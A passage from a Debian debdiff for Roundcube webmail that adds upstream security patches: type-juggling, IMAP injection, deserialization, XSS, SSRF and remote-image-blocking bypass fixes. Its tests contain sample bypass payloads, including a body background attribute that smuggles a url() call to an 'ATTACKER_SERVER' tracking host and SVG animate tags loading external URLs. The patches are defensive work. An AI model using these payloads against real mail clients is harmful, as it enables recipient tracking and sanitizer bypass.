b/program/lib/Roundcube/rcube_utils.php +index 8ff1db8..b6677e4 100644 +--- a/program/lib/Roundcube/rcube_utils.php ++++ b/program/lib/Roundcube/rcube_utils.php +@@ -1,7 +1,5 @@ + <?php + +-use IPLib\Factory; +- + /* + +-----------------------------------------------------------------------+ + | This file is part of the Roundcube Webmail client | +@@ -435,20 +433,22 @@ class rcube_utils + if (is_string($host)) { + // TODO: This is pretty fast, but a single message can contain multiple links + // to the same target, maybe we should do some in-memory caching. +- if ($address = Factory::parseAddressString($host = trim($host, '[]'))) { ++ if ($address = @inet_pton($host = trim($host, '[]'))) { + $nets = [ +- '127.0.0.0/8', // loopback +- '10.0.0.0/8', // RFC1918 +- '172.16.0.0/12', // RFC1918 +- '192.168.0.0/16', // RFC1918 +- '169.254.0.0/16', // link-local / cloud metadata +- '::1/128', +- 'fc00::/7', ++ ['127.0.0.0', '127.255.255.255'], // loopback ++ ['10.0.0.0', '10.255.255.255'], // RFC1918 ++ ['172.16.0.0', '172.31.255.255'], // RFC1918 ++ ['192.168.0.0', '192.168.255.255'], // RFC1918 ++ ['169.254.0.0', '169.254.255.255'], // link-local / cloud metadata ++ ['::1', '::1'], ++ ['fc00::', 'fdff:ffff:ffff:ffff:ffff:ffff:ffff:ffff'], + ]; + +- foreach ($nets as $net) { +- $range = Factory::parseRangeString($net); +- if ($range->contains($address)) { ++ foreach ($nets as [$range_start, $range_end]) { ++ $range_start = @inet_pton($range_start); ++ $range_end = @inet_pton($range_end); ++ if (is_string($range_start) && strcmp($range_start, $address) <= 0 && ++ is_string($range_end) && strcmp($range_end, $address) >= 0) { + return true; + } + } diff -Nru roundcube-1.6.5+dfsg/debian/patches/Fix-bug-where-a-password-could-get-changed-without-provid.patch roundcube-1.6.5+dfsg/debian/patches/Fix-bug-where-a-password-could-get-changed-without-provid.patch --- roundcube-1.6.5+dfsg/debian/patches/Fix-bug-where-a-password-could-get-changed-without-provid.patch 1970-01-01 01:00:00.000000000 +0100 +++ roundcube-1.6.5+dfsg/debian/patches/Fix-bug-where-a-password-could-get-changed-without-provid.patch 2026-03-20 19:15:19.000000000 +0100 @@ -0,0 +1,33 @@ +From: Aleksander Machniak <[email protected]> +Date: Tue, 17 Mar 2026 15:18:24 +0100 +Subject: Fix bug where a password could get changed without providing the old + password + +The password plugin uses loose comparison, leading to a type juggling vulnerability that +allows password changes without knowing the old password in specific cases. + +Reported by flydragon777 + +Origin: https://github.com/roundcube/roundcubemail/commit/6fa2bddc59b9c9fd31cad4a9e2954a208d793dce +Bug-Debian: https://bugs.debian.org/1131182 +--- + plugins/password/password.php | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/plugins/password/password.php b/plugins/password/password.php +index ebde3ec..e4cdd8a 100644 +--- a/plugins/password/password.php ++++ b/plugins/password/password.php +@@ -333,10 +333,10 @@ class password extends rcube_plugin + else { + switch ($type) { + case PASSWORD_COMPARE_CURRENT: +- $result = $curpwd != $newpwd ? $this->gettext('passwordincorrect') : null; ++ $result = $curpwd !== $newpwd ? $this->gettext('passwordincorrect') : null; + break; + case PASSWORD_COMPARE_NEW: +- $result = $curpwd == $newpwd ? $this->gettext('samepasswd') : null; ++ $result = $curpwd === $newpwd ? $this->gettext('samepasswd') : null; + break; + default: + $result = $this->gettext('internalerror'); diff -Nru roundcube-1.6.5+dfsg/debian/patches/Fix-fixed-position-mitigation-bypass-via-use-of-important.patch roundcube-1.6.5+dfsg/debian/patches/Fix-fixed-position-mitigation-bypass-via-use-of-important.patch --- roundcube-1.6.5+dfsg/debian/patches/Fix-fixed-position-mitigation-bypass-via-use-of-important.patch 1970-01-01 01:00:00.000000000 +0100 +++ roundcube-1.6.5+dfsg/debian/patches/Fix-fixed-position-mitigation-bypass-via-use-of-important.patch 2026-03-20 19:15:19.000000000 +0100 @@ -0,0 +1,40 @@ +From: Aleksander Machniak <[email protected]> +Date: Wed, 18 Mar 2026 10:20:00 +0100 +Subject: Fix fixed position mitigation bypass via use of !important + +Reported by nullcathedral + +Origin: https://github.com/roundcube/roundcubemail/commit/099009b9c8e1d3c636fb9a5af72f7c2596018662 +Bug-Debian: https://bugs.debian.org/1131182 +--- + program/lib/Roundcube/rcube_utils.php | 2 +- + tests/Framework/Utils.php | 3 +++ + 2 files changed, 4 insertions(+), 1 deletion(-) + +diff --git a/program/lib/Roundcube/rcube_utils.php b/program/lib/Roundcube/rcube_utils.php +index d847461..59a26c0 100644 +--- a/program/lib/Roundcube/rcube_utils.php ++++ b/program/lib/Roundcube/rcube_utils.php +@@ -558,7 +558,7 @@ class rcube_utils + if ($property == 'page') { + // Remove 'page' attributes (#7604) + continue; +- } elseif ($property == 'position' && strcasecmp($value, 'fixed') === 0) { ++ } elseif ($property == 'position' && stripos($value, 'fixed') !== false) { + // Convert position:fixed to position:absolute (#5264) + $value = 'absolute'; + } elseif (preg_match('/expression|image-set/i', $value)) { +diff --git a/tests/Framework/Utils.php b/tests/Framework/Utils.php +index c0e9aea..9a702d6 100644 +--- a/tests/Framework/Utils.php ++++ b/tests/Framework/Utils.php +@@ -280,6 +280,9 @@ class Framework_Utils extends PHPUnit\Framework\TestCase + $mod = \rcube_utils::mod_css_styles('.test { position: fixed; top: 0;', 'rcmbody'); + $this->assertSame('#rcmbody .test { position: absolute; top: 0; }', $mod, 'Replace position:fixed with position:absolute (6)'); + ++ $mod = \rcube_utils::mod_css_styles('.test { position: fixed !important; }', 'rcmbody'); ++ $this->assertSame('#rcmbody .test { position: absolute; }', $mod, 'Replace position:fixed with position:absolute (7)'); ++ + // allow data URIs with images (#5580) + $mod = rcube_utils::mod_css_styles("body { background-image: url(data:image/png;base64,123); }", 'rcmbody'); + $this->assertStringContainsString("#rcmbody { background-image: url(data:image/png;base64,123);", $mod, "Data URIs in url() allowed [1]"); diff -Nru roundcube-1.6.5+dfsg/debian/patches/Fix-IMAP-Injection-CSRF-bypass-in-mail-search.patch roundcube-1.6.5+dfsg/debian/patches/Fix-IMAP-Injection-CSRF-bypass-in-mail-search.patch --- roundcube-1.6.5+dfsg/debian/patches/Fix-IMAP-Injection-CSRF-bypass-in-mail-search.patch 1970-01-01 01:00:00.000000000 +0100 +++ roundcube-1.6.5+dfsg/debian/patches/Fix-IMAP-Injection-CSRF-bypass-in-mail-search.patch 2026-03-20 19:15:19.000000000 +0100 @@ -0,0 +1,42 @@ +From: Aleksander Machniak <[email protected]> +Date: Tue, 17 Mar 2026 15:34:13 +0100 +Subject: Fix IMAP Injection + CSRF bypass in mail search + +Reported by Martila Security Research Team + +Origin: https://github.com/roundcube/roundcubemail/commit/b18a8fa8e81571914c0ff55d4e20edb459c6952c +Bug-Debian: https://bugs.debian.org/1131182 +--- + program/actions/mail/search.php | 4 ++++ + program/actions/mail/send.php | 3 +++ + 2 files changed, 7 insertions(+) + +diff --git a/program/actions/mail/search.php b/program/actions/mail/search.php +index 84b4909..3dac7a5 100644 +--- a/program/actions/mail/search.php ++++ b/program/actions/mail/search.php +@@ -71,6 +71,10 @@ class rcmail_action_mail_search extends rcmail_action_mail_index + $sort_column = self::sort_column(); + $sort_order = self::sort_order(); + ++ // We pass the filter as-is into IMAP SEARCH command. A newline could be used ++ // to inject extra commands, so we remove these. ++ $search_str = preg_replace('/[\r\n]+/', ' ', $search_str); ++ + // set message set for already stored (but incomplete) search request + if (!empty($continue) && isset($_SESSION['search']) && $_SESSION['search_request'] == $continue) { + $rcmail->storage->set_search_set($_SESSION['search']); +diff --git a/program/actions/mail/send.php b/program/actions/mail/send.php +index a28d7f9..0226fdc 100644 +--- a/program/actions/mail/send.php ++++ b/program/actions/mail/send.php +@@ -281,6 +281,9 @@ class rcmail_action_mail_send extends rcmail_action + } + + if ($savedraft) { ++ // Sanitize the IMAP SEARCH input ++ $message_id = preg_replace('/[\r\n]+/', '', $message_id); ++ + // remember new draft-uid ($saved could be an UID or true/false here) + if ($saved && is_bool($saved)) { + $index = $rcmail->storage->search_once($drafts_mbox, 'HEADER Message-ID ' . $message_id); diff -Nru roundcube-1.6.5+dfsg/debian/patches/Fix-pre-auth-arbitrary-file-write-via-unsafe-deserializat.patch roundcube-1.6.5+dfsg/debian/patches/Fix-pre-auth-arbitrary-file-write-via-unsafe-deserializat.patch --- roundcube-1.6.5+dfsg/debian/patches/Fix-pre-auth-arbitrary-file-write-via-unsafe-deserializat.patch 1970-01-01 01:00:00.000000000 +0100 +++ roundcube-1.6.5+dfsg/debian/patches/Fix-pre-auth-arbitrary-file-write-via-unsafe-deserializat.patch 2026-03-20 19:15:19.000000000 +0100 @@ -0,0 +1,43 @@ +From: Aleksander Machniak <[email protected]> +Date: Tue, 17 Mar 2026 15:11:38 +0100 +Subject: Fix pre-auth arbitrary file write via unsafe deserialization in + redis/memcache session handler + +Disable GuzzleHttp\Cookie\FileCookieJar instantiation. + +Reported by y0us. + +Origin: https://github.com/roundcube/roundcubemail/commit/a4ead994d2f0ea92e4a1603196a197e0d5df1620 +Bug-Debian: https://bugs.debian.org/1131182 +--- + program/include/iniset.php | 11 ++++++++++- + 1 file changed, 10 insertions(+), 1 deletion(-) + +diff --git a/program/include/iniset.php b/program/include/iniset.php +index c4ab39f..4dc4937 100644 +--- a/program/include/iniset.php ++++ b/program/include/iniset.php +@@ -1,6 +1,8 @@ + <?php + +-/** ++use GuzzleHttp\Cookie\FileCookieJar; ++ ++/* + +-----------------------------------------------------------------------+ + | This file is part of the Roundcube Webmail client | + | | +@@ -80,6 +82,13 @@ require_once 'Roundcube/bootstrap.php'; + // register autoloader for rcmail app classes + spl_autoload_register('rcmail_autoload'); + ++// disable use of dangerous dependencies ++spl_autoload_register(static function ($classname) { ++ if ($classname === FileCookieJar::class) { ++ throw new \Exception("{$classname} is forbidden for security reasons."); ++ } ++}, true, true); ++ + /** + * PHP5 autoloader routine for dynamic class loading + */ diff -Nru roundcube-1.6.5+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch roundcube-1.6.5+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch --- roundcube-1.6.5+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch 1970-01-01 01:00:00.000000000 +0100 +++ roundcube-1.6.5+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch 2026-03-20 19:15:19.000000000 +0100 @@ -0,0 +1,38 @@ +From: Aleksander Machniak <[email protected]> +Date: Thu, 19 Mar 2026 14:11:06 +0100 +Subject: Fix regression where mail search would fail on non-ascii search + criteria + +Origin: https://github.com/roundcube/roundcubemail/commit/6b137adda9b042c3742b0f968692e95ed367d3d1 +Bug: https://github.com/roundcube/roundcubemail/issues/10121 +Bug-Debian: https://bugs.debian.org/1131182 +--- + program/actions/mail/search.php | 8 ++++---- + 1 file changed, 4 insertions(+), 4 deletions(-) + +diff --git a/program/actions/mail/search.php b/program/actions/mail/search.php +index 3dac7a5..2525b0f 100644 +--- a/program/actions/mail/search.php ++++ b/program/actions/mail/search.php +@@ -56,6 +56,10 @@ class rcmail_action_mail_search extends rcmail_action_mail_index + // add list filter string + $search_str = $filter && $filter != 'ALL' ? $filter : ''; + ++ // We pass the filter as-is into IMAP SEARCH command. A newline could be used ++ // to inject extra commands, so we remove these. ++ $search_str = preg_replace('/[\r\n]+/', ' ', $search_str); ++ + if ($search_interval = self::search_interval_criteria($interval)) { + $search_str .= ' ' . $search_interval; + } +@@ -71,10 +75,6 @@ class rcmail_action_mail_search extends rcmail_action_mail_index + $sort_column = self::sort_column(); + $sort_order = self::sort_order(); + +- // We pass the filter as-is into IMAP SEARCH command. A newline could be used +- // to inject extra commands, so we remove these. +- $search_str = preg_replace('/[\r\n]+/', ' ', $search_str); +- + // set message set for already stored (but incomplete) search request + if (!empty($continue) && isset($_SESSION['search']) && $_SESSION['search_request'] == $continue) { + $rcmail->storage->set_search_set($_SESSION['search']); diff -Nru roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-a-crafted-body-backg.patch roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-a-crafted-body-backg.patch --- roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-a-crafted-body-backg.patch 1970-01-01 01:00:00.000000000 +0100 +++ roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-a-crafted-body-backg.patch 2026-03-20 19:15:19.000000000 +0100 @@ -0,0 +1,60 @@ +From: Aleksander Machniak <[email protected]> +Date: Wed, 18 Mar 2026 10:15:43 +0100 +Subject: Fix remote image blocking bypass via a crafted body background + attribute + +Reported by nullcathedral + +Origin: https://github.com/roundcube/roundcubemail/commit/fde14d01adc9f37893cd82b635883e516ed453f8 +Bug-Debian: https://bugs.debian.org/1131182 +--- + program/lib/Roundcube/rcube_washtml.php | 5 +++++ + tests/Framework/Washtml.php | 19 +++++++++++++------ + 2 files changed, 18 insertions(+), 6 deletions(-) + +diff --git a/program/lib/Roundcube/rcube_washtml.php b/program/lib/Roundcube/rcube_washtml.php +index 4e05462..abca35f 100644 +--- a/program/lib/Roundcube/rcube_washtml.php ++++ b/program/lib/Roundcube/rcube_washtml.php +@@ -427,6 +427,11 @@ class rcube_washtml + return 'data:image/' . $type . ',' . base64_encode($svg); + } + ++ // At this point we allow only valid base64 images ++ if (stripos($type, 'base64') === false || preg_match('|[^0-9a-z\s/+]|i', $matches[2])) { ++ return ''; ++ } ++ + return $uri; + } + } +diff --git a/tests/Framework/Washtml.php b/tests/Framework/Washtml.php +index 457e8eb..ff2ad0f 100644 +--- a/tests/Framework/Washtml.php ++++ b/tests/Framework/Washtml.php +@@ -262,12 +262,19 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase + $washer = new rcube_washtml(['html_elements' => ['body']]); + $washed = $washer->wash($html); + +- $this->assertMatchesRegularExpression('|bgcolor="#fff"|', $washed, "Body bgcolor attribute"); +- $this->assertMatchesRegularExpression('|text="#000"|', $washed, "Body text attribute"); +- $this->assertMatchesRegularExpression('|background="#test"|', $washed, "Body background attribute"); +- $this->assertMatchesRegularExpression('|link="#111"|', $washed, "Body link attribute"); +- $this->assertMatchesRegularExpression('|alink="#222"|', $washed, "Body alink attribute"); +- $this->assertMatchesRegularExpression('|vlink="#333"|', $washed, "Body vlink attribute"); ++ $this->assertMatchesRegularExpression('|bgcolor="#fff"|', $washed, 'Body bgcolor attribute'); ++ $this->assertMatchesRegularExpression('|text="#000"|', $washed, 'Body text attribute'); ++ $this->assertMatchesRegularExpression('|background="#test"|', $washed, 'Body background attribute'); ++ $this->assertMatchesRegularExpression('|link="#111"|', $washed, 'Body link attribute'); ++ $this->assertMatchesRegularExpression('|alink="#222"|', $washed, 'Body alink attribute'); ++ $this->assertMatchesRegularExpression('|vlink="#333"|', $washed, 'Body vlink attribute'); ++ ++ $html = '<html><body background="data:image/png,x);background:url(//ATTACKER_SERVER/track?uid=test"></body></html>'; ++ ++ $washer = new \rcube_washtml(['html_elements' => ['body']]); ++ $washed = $washer->wash($html); ++ ++ $this->assertMatchesRegularExpression('|x-washed="background"|', $washed, 'Body evil background'); + } + + /** diff -Nru roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-various-SVG-animate-.patch roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-various-SVG-animate-.patch --- roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-various-SVG-animate-.patch 1970-01-01 01:00:00.000000000 +0100 +++ roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-various-SVG-animate-.patch 2026-03-20 19:15:19.000000000 +0100 @@ -0,0 +1,112 @@ +From: Aleksander Machniak <[email protected]> +Date: Tue, 17 Mar 2026 15:53:29 +0100 +Subject: Fix remote image blocking bypass via various SVG animate attributes + +Reported by nullcathedral + +Origin: https://github.com/roundcube/roundcubemail/commit/39471343ee081ce1d31696c456a2c163462daae3 +Bug-Debian: https://bugs.debian.org/1131182 +--- + program/lib/Roundcube/rcube_washtml.php | 38 +++++++++++++++++++++++++-------- + tests/Framework/Washtml.php | 14 ++++++++++++ + 2 files changed, 43 insertions(+), 9 deletions(-) + +diff --git a/program/lib/Roundcube/rcube_washtml.php b/program/lib/Roundcube/rcube_washtml.php +index 8721fe7..4e05462 100644 +--- a/program/lib/Roundcube/rcube_washtml.php ++++ b/program/lib/Roundcube/rcube_washtml.php +@@ -504,22 +504,22 @@ class rcube_washtml + * Do it in case-insensitive manner. + * + * @param DOMElement $node The element +- * @param string $attr_name The attribute name +- * @param string $attr_value The attribute value to find ++ * @param string $attr_value The attribute value to find (regexp) + * + * @return bool True if the specified attribute exists and has the expected value + */ + private static function attribute_value($node, $attr_name, $attr_value) + { + $attr_name = strtolower($attr_name); +- $attr_value = strtolower($attr_value); + + foreach ($node->attributes as $name => $attr) { + if (strtolower($name) === $attr_name) { ++ $val = trim($attr->nodeValue); + // Read the attribute name, remove the namespace (e.g. xlink:href => href) +- $val = strtolower(trim($attr->nodeValue)); +- $val = trim(preg_replace('/^.*:/', '', $val)); +- if ($attr_value === $val) { ++ if ($attr_name === 'attributename') { ++ $val = trim(preg_replace('/^.*:/', '', $val)); ++ } ++ if (preg_match($attr_value, $val)) { + return true; + } + } +@@ -528,6 +528,27 @@ class rcube_washtml + return false; + } + ++ /** ++ * Check if the node is an insecure element ++ * ++ * @param \DOMElement $node ++ */ ++ private static function is_insecure_tag($node) ++ { ++ $tagName = strtolower($node->nodeName); ++ ++ if (!in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform'])) { ++ return false; ++ } ++ ++ if (self::attribute_value($node, 'attributeName', '/^href$/i')) { ++ return true; ++ } ++ ++ return self::attribute_value($node, 'attributeName', '/^(mask|cursor)$/i') ++ && self::attribute_value($node, 'values', '/url\(/i'); ++ } ++ + /** + * The main loop that recurse on a node tree. + * It output only allowed tags with allowed attributes and allowed inline styles +@@ -579,10 +600,9 @@ class rcube_washtml + + $node->setAttribute('href', (string) $uri); + } +- else if (in_array($tagName, ['animate', 'animatecolor', 'set', 'animatetransform']) +- && self::attribute_value($node, 'attributename', 'href') +- ) { ++ else if (self::is_insecure_tag($node)) { + // Insecure svg tags ++ // TODO: We really should use wash_attribs()/wash_uri() for these cases + if ($this->config['add_comments']) { + $dump .= "<!-- {$tagName} blocked -->"; + } +diff --git a/tests/Framework/Washtml.php b/tests/Framework/Washtml.php +index ef324f8..457e8eb 100644 +--- a/tests/Framework/Washtml.php ++++ b/tests/Framework/Washtml.php +@@ -500,6 +500,20 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase + '<html><svg><defs><filter><feImage xlink:href="http://external.site"/></filter></defs></html>', + '<svg><defs><filter><feImage x-washed="xlink:href"></feImage></filter></defs></svg>', + ], ++ [ ++ '<svg><animate attributeName="mask" values="url(https://external.site)" fill="freeze" dur="0.1s" /></svg>', ++ '<svg><!-- animate blocked --></svg>', ++ ], ++ [ ++ '<svg><animate attributeName="mask" values="none;url(https://external.site);url(https://external.site)"' ++ . ' repeatCount="indefinite" dur="1s" /></svg>', ++ '<svg><!-- animate blocked --></svg>', ++ ], ++ [ ++ '<svg><animate attributeName="cursor" attributeType="CSS" values="url(https://external.site),auto"' ++ . ' feel="freeze" dur="1s" /></svg>', ++ '<svg><!-- animate blocked --></svg>', ++ ], + ]; + } + diff -Nru roundcube-1.6.5+dfsg/debian/patches/Fix-SSRF-Information-Disclosure-via-stylesheet-links-to-a.patch roundcube-1.6.5+dfsg/debian/patches/Fix-SSRF-Information-Disclosure-via-stylesheet-links-to-a.patch --- roundcube-1.6.5+dfsg/debian/patches/Fix-SSRF-Information-Disclosure-via-stylesheet-links-to-a.patch 1970-01-01 01:00:00.000000000 +0100 +++ roundcube-1.6.5+dfsg/debian/patches/Fix-SSRF-Information-Disclosure-via-stylesheet-links-to-a.patch 2026-03-20 19:15:19.000000000 +0100 @@ -0,0 +1,164 @@ +From: Aleksander Machniak <[email protected]> +Date: Wed, 18 Mar 2026 10:35:16 +0100 +Subject: Fix SSRF + Information Disclosure via stylesheet links to a local + network hosts + +Reported by Georgios Tsimpidas (aka Frey), Security Researcher at https://i0.rs/ + +Origin: https://github.com/roundcube/roundcubemail/commit/27ec6cc9cb25e1ef8b4d4ef39ce76d619caa6870 +Bug-Debian: https://bugs.debian.org/1131182 +--- + program/actions/mail/index.php | 2 +- + program/actions/utils/modcss.php | 2 +- + program/lib/Roundcube/rcube_utils.php | 46 ++++++++++++++++++++++++++++++++- + program/lib/Roundcube/rcube_washtml.php | 2 +- + tests/Framework/Utils.php | 34 ++++++++++++++++++++++++ + 5 files changed, 82 insertions(+), 4 deletions(-) + +diff --git a/program/actions/mail/index.php b/program/actions/mail/index.php +index 9c54955..55b3cb4 100644 +--- a/program/actions/mail/index.php ++++ b/program/actions/mail/index.php +@@ -1270,7 +1270,7 @@ class rcmail_action_mail_index extends rcmail_action + if (isset($attrib['href'])) { + $attrib['href'] = preg_replace('/[\x00-\x1F]/', '', $attrib['href']); + +- if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href'])) { ++ if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href']) && !rcube_utils::is_local_url($attrib['href'])) { + $tempurl = 'tmp-' . md5($attrib['href']) . '.css'; + $_SESSION['modcssurls'][$tempurl] = $attrib['href']; + $attrib['href'] = $rcmail->url([ +diff --git a/program/actions/utils/modcss.php b/program/actions/utils/modcss.php +index d1f34b3..8512bdf 100644 +--- a/program/actions/utils/modcss.php ++++ b/program/actions/utils/modcss.php +@@ -44,7 +44,7 @@ class rcmail_action_utils_modcss extends rcmail_action + $ctype = null; + + try { +- $client = rcube::get_instance()->get_http_client(); ++ $client = rcube::get_instance()->get_http_client(['allow_redirects' => false]); + $response = $client->get($realurl); + + if (!empty($response)) { +diff --git a/program/lib/Roundcube/rcube_utils.php b/program/lib/Roundcube/rcube_utils.php +index 59a26c0..8ff1db8 100644 +--- a/program/lib/Roundcube/rcube_utils.php ++++ b/program/lib/Roundcube/rcube_utils.php +@@ -1,6 +1,8 @@ + <?php + +-/** ++use IPLib\Factory; ++ ++/* + +-----------------------------------------------------------------------+ + | This file is part of the Roundcube Webmail client | + | | +@@ -419,6 +421,48 @@ class rcube_utils + return asciiwords($str, true, '_'); + } + ++ /** ++ * Check if an URL point to a local network location. ++ * ++ * @param string $url ++ * ++ * @return bool ++ */ ++ public static function is_local_url($url) ++ { ++ $host = parse_url($url, \PHP_URL_HOST); ++ ++ if (is_string($host)) { ++ // TODO: This is pretty fast, but a single message can contain multiple links ++ // to the same target, maybe we should do some in-memory caching. ++ if ($address = Factory::parseAddressString($host = trim($host, '[]'))) { ++ $nets = [ ++ '127.0.0.0/8', // loopback ++ '10.0.0.0/8', // RFC1918 ++ '172.16.0.0/12', // RFC1918 ++ '192.168.0.0/16', // RFC1918 ++ '169.254.0.0/16', // link-local / cloud metadata ++ '::1/128', ++ 'fc00::/7', ++ ]; ++ ++ foreach ($nets as $net) { ++ $range = Factory::parseRangeString($net); ++ if ($range->contains($address)) { ++ return true; ++ } ++ } ++ ++ return false; ++ } ++ ++ // FIXME: Should we accept any non-fqdn hostnames? ++ return (bool) preg_match('/^localhost(\.localdomain)?$/i', $host); ++ } ++ ++ return false; ++ } ++ + /** + * Replace all css definitions with #container [def] + * and remove css-inlined scripting, make position style safe +diff --git a/program/lib/Roundcube/rcube_washtml.php b/program/lib/Roundcube/rcube_washtml.php +index abca35f..6799038 100644 +--- a/program/lib/Roundcube/rcube_washtml.php ++++ b/program/lib/Roundcube/rcube_washtml.php +@@ -393,7 +393,7 @@ class rcube_washtml + } + + if (preg_match('/^(http|https|ftp):.+/i', $uri)) { +- if (!empty($this->config['allow_remote'])) { ++ if (!empty($this->config['allow_remote']) || rcube_utils::is_local_url($uri)) { + return $uri; + } + +diff --git a/tests/Framework/Utils.php b/tests/Framework/Utils.php +index 9a702d6..8a95001 100644 +--- a/tests/Framework/Utils.php ++++ b/tests/Framework/Utils.php +@@ -552,6 +552,40 @@ class Framework_Utils extends PHPUnit\Framework\TestCase + } + } + ++ /** ++ * Test is_local_url() ++ * ++ * @dataProvider provide_is_local_url_cases ++ */ ++ #[DataProvider('provide_is_local_url_cases')] ++ public function test_is_local_url($input, $output) ++ { ++ $this->assertSame($output, \rcube_utils::is_local_url($input)); ++ } ++ ++ /** ++ * Test-Cases for is_local_url() test ++ */ ++ public static function provide_is_local_url_cases(): iterable ++ { ++ return [ ++ // Local hosts ++ ['https://127.0.0.1', true], ++ ['https://10.1.1.1', true], ++ ['https://172.16.0.1', true], ++ ['https://192.168.0.100', true], ++ ['https://169.254.0.200', true], ++ ['http://[fc00::1]', true], ++ ['ftp://[::1]:8080', true], ++ ['//127.0.0.1', true], ++ ['http://localhost', true], ++ ['http://localhost.localdomain', true], ++ // Non-local hosts ++ ['http://[2001:470::76:0:0:0:2]', false], ++ ['http://domain.tld', false], ++ ]; ++ } ++ + /** + * rcube:utils::strtotime() + */ diff -Nru roundcube-1.6.5+dfsg/debian/patches/Fix-XSS-issue-in-a-HTML-attachment-preview.patch roundcube-1.6.5+dfsg/debian/patches/Fix-XSS-issue-in-a-HTML-attachment-preview.patch --- roundcube-1.6.5+dfsg/debian/patches/Fix-XSS-issue-in-a-HTML-attachment-preview.patch 1970-01-01 01:00:00.000000000 +0100 +++ roundcube-1.6.5+dfsg/debian/patches/Fix-XSS-issue-in-a-HTML-attachment-preview.patch 2026-03-20 19:15:19.000000000 +0100 @@ -0,0 +1,26 @@ +From: Aleksander Machniak <[email protected]> +Date: Wed, 18 Mar 2026 10:23:34 +0100 +Subject: Fix XSS issue in a HTML attachment preview + +Reported by aikido_security + +Origin: https://github.com/roundcube/roundcubemail/commit/10a6d1fa8acac85c727b0a6ae4a6642bfa27bea1 +Bug-Debian: https://bugs.debian.org/1131182 +--- + program/include/rcmail_action.php | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/program/include/rcmail_action.php b/program/include/rcmail_action.php +index 9cb41da..4266ac1 100644 +--- a/program/include/rcmail_action.php ++++ b/program/include/rcmail_action.php +@@ -691,6 +691,9 @@ abstract class rcmail_action + header('Content-Type: ' . $file['mimetype']); + header('Content-Length: ' . $file['size']); + ++ // Use strict security policy to make sure no javascript is executed ++ header("Content-Security-Policy: script-src 'none'"); ++ + if (isset($file['data']) && is_string($file['data'])) { + echo $file['data']; + } diff -Nru roundcube-1.6.5+dfsg/debian/patches/series roundcube-1.6.5+dfsg/debian/patches/series --- roundcube-1.6.5+dfsg/debian/patches/series 2026-02-11 12:05:21.000000000 +0100 +++ roundcube-1.6.5+dfsg/debian/patches/series 2026-03-20 19:15:19.000000000 +0100 @@ -36,3 +36,13 @@ CVE-2026-26079/01-1f4c3a5af.patch CVE-2026-26079/02-2b5625f1d.patch CVE-2026-26079/03-53d75d5df.patch +Fix-pre-auth-arbitrary-file-write-via-unsafe-deserializat.patch +Fix-bug-where-a-password-could-get-changed-without-provid.patch +Fix-IMAP-Injection-CSRF-bypass-in-mail-search.patch +Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch +Fix-remote-image-blocking-bypass-via-various-SVG-animate-.patch +Fix-remote-image-blocking-bypass-via-a-crafted-body-backg.patch +Fix-fixed-position-mitigation-bypass-via-use-of-important.patch +Fix-XSS-issue-in-a-HTML-attachment-preview.patch +Fix-SSRF-Information-Disclosure-via-stylesheet-links-to-a.patch +Avoid-dependency-on-new-package-mlocati-ip-lib.patch
signature.asc
Description: PGP signature

